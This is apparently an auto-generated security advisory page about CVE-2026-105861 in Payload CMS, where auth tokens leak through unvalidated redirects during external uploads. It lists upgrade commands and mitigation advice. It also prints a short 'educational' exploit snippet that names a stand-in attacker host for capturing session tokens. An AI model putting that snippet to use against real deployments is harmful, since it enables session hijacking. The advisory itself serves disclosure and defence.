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The vulnerability identified as CVE-2026-105861 affects the external file upload and routing infrastructure within Payload CMS versions prior to 3.90.0 and 4.0.0-canary.34.
When handling external upload configurations, the system previously permitted data transmission to destinations lacking verified trust confirmation.
Specifically, if an outgoing request process handled an active session alongside an unverified redirection path, authentication parameters could leak to unauthorized third-party endpoints.
This flaw creates a serious exposure vector where session tokens or authentication headers are inadvertently forwarded outside trusted administrative boundaries.
An attacker who induces an external upload redirection can capture valid session credentials, enabling subsequent hijacking or unauthorized actions.
The core of the issue stems from an absence of continuous target validation during destination changes within HTTP redirect lifecycles.
Payload has addressed this security advisory by introducing rigorous destination checks that execute prior to any data forwarding sequence.
Furthermore, the updated framework actively re-evaluates and reapplies these validation routines whenever a request changes its intended route or endpoint destination.
Administrators managing content collections with external integration setups are strongly advised to implement immediate package upgrades to secure their environments.
DailyCVE Form:
Platform: Payload CMS
Version: < 3.90.0
Vulnerability : Trust Validation
Severity: High
date: 2026-10-07
Prediction: 2026-10-06
What Undercode Say:
Analytics
The vulnerability allows sensitive authentication headers and active session tokens to be leaked during external file uploads when requests follow unvalidated redirects. Attackers intercept these sessions by exploiting weak destination verification controls inside the core transmission pipeline of Payload CMS configurations.
Bash Commands and Codes
npm install [email protected] @payloadcms/bundler-webpack@latest yarn upgrade [email protected] pnpm update payload --latest
Exploit: (Educational Purposes!)
// Conceptual demonstration of tracking unverified external upload redirection paths
const maliciousEndpoint = 'https://untrusted-receiver.com/capture';
async function triggerUploadRedirection(clientSession) {
const response = await fetch('/api/uploads', {
method: 'POST',
headers: { 'Authorization': `Bearer ${clientSession}` },
body: JSON.stringify({ externalUrl: 'https://internal-redirect.com/leak' })
});
return response.json();
}
Protection: from this CVE
Upgrade Payload packages immediately to version 3.90.0 or 4.0.0-canary.34 where strict target verification and destination checks are enforced. Ensure that external file upload options are carefully restricted or disabled if immediate patching is impossible.
Impact:
Compromise of active user sessions, potential privilege escalation, and exposure of sensitive authentication credentials to external unauthorized third-party hosts.
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Sources:
Reported By: github.com
Extra Source Hub:
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